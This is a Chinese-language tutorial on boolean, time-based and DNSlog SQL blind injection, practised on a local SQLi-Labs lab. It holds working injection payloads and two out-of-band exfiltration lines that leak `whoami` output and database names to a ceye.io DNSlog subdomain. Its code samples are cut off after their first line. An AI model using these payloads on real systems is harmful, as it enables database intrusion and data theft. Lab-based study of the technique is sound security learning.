本文学习SQL盲注,通过掌握布尔盲注、时间延迟盲注和DnsLog盲注三种盲注方法的原理,到利用Sqli-Labs模拟环境来实战。
一、布尔盲注
布尔盲注原理
可以进行注入,但是不回显数据,只返回True与False。
布尔盲注典型代码
1 | $id = $_GET['id']; |
布尔盲注方法
构造逻辑判断语句,判断信息真假
序号 | 方法 | 说明 |
---|---|---|
1 | left()函数 | left(str1,length) 从左侧截取str的前b位 |
2 | regexp | select user() regexp '^r' regexp为匹配root的正则表达式 |
3 | like | select user() like 'ro%' 使用like进行匹配 |
4 | substr()函数和ascii()函数 | ascii(substr((select database(),1,1))=98 substr(str,index,length) |
5 | ord()函数和mid()函数 | ord(mid((select user()),1,1))=114 mid(str,index,length) |
注: 在BurpSuite中可以使用intuder模块根据返回页面长度不同来判断。(利用BurpSuite工具将在后续文章中详解)
实战 SQLi-Labs Less-8
- 阅读源代码可知语句为True则返回
You are in ......
,False则不返回内容。
- 利用
left()
函数来测试数据库名称
- 利用
left()
函数来查询数据表名称
- 利用
regexp
正则表达式来查询数据库名称
- 利用
substr()
和ascii()
函数来查询数据库名称
二、时间盲入
时间盲注原理
代码存在SQL注入漏洞,但是页面不会回显错误信息
语句执行后也不回显真假信息,不能通过页面的内容来判断
时间盲注:构造语句,通过页面响应的时长来判断信息
时间盲注代码
1 | $id = $_GET['id']; |
时间盲注方法
构造逻辑语句,通过条件语句进行判断,True则立即执行,False则延时执行。
核心语法:**if(条件,0,sleep(3));
**
真实场景:if(ascii(substr(database(),1,1))>115,0,sleep(5))--+
实战 SQLi-Labs Less-10
- 阅读源代码可知语句无论是True还是False都返回
You are in ......
。
- 构造Payload实现时间盲注
http://127.0.0.1:8999/Less-10/?id=2“ and if(left(user(),1)= ’a’,0,sleep(3))--+
,通过响应时长来判断。
- 构造Payload实现时间盲注
http://127.0.0.1:8999/Less-10/?id=2“ and if(left(user(),1)= ’r’,0,sleep(3))--+
(正确答案),通过响应时长来判断。
用Python3编写时间盲注脚本
1 | # timeBlindSql.py |
三、Dnslog盲注
Dnslog盲注原理
DnsLog:DNS Server中记录我们访问域名的信息。
语句执行后也不回显真假信息,不能通过页面的内容来判断。我们可以通过布尔或时间盲注来获取内容,但是整个过程效率很低,需要发送很多的请求进行判断,很可能会触发安全设备的防护。
DnsLog盲注:减少请求,直接回显数据。
Dnslog盲注典型代码
1 | $id = $_GET['id']; |
Dnslog盲注方法
DnsLog平台:http://ceye.io/
- 前往DnsLog平台注册登入后,平台会分配一个Identity
- 进入命令行利用curl发起请求
- 在ceye.io/records/dns即可查看到访问记录
- 利用bash中``可执行命令的属性。设置curl请求:`whoami`.bygt3w.ceye.io
DNS在解析的时候会留下日志,通过读取多级域名的解析日志,获取请求信息。
在MySQ LLOAD_FILE函数可以发起请求,使用DnsLog接收请求,获取数据。
核心语句:SELECT LOAD_FILE(CONCAT('\\\\',(select database()),'.mysql.bygt3w.ceye.io\\abc'))
通过SQL语句查询内容,作为请求的一部分,发送至DnsLog。
只需要对核心语句中select database()
部分进行构造,就能实现有回显的SQL注入。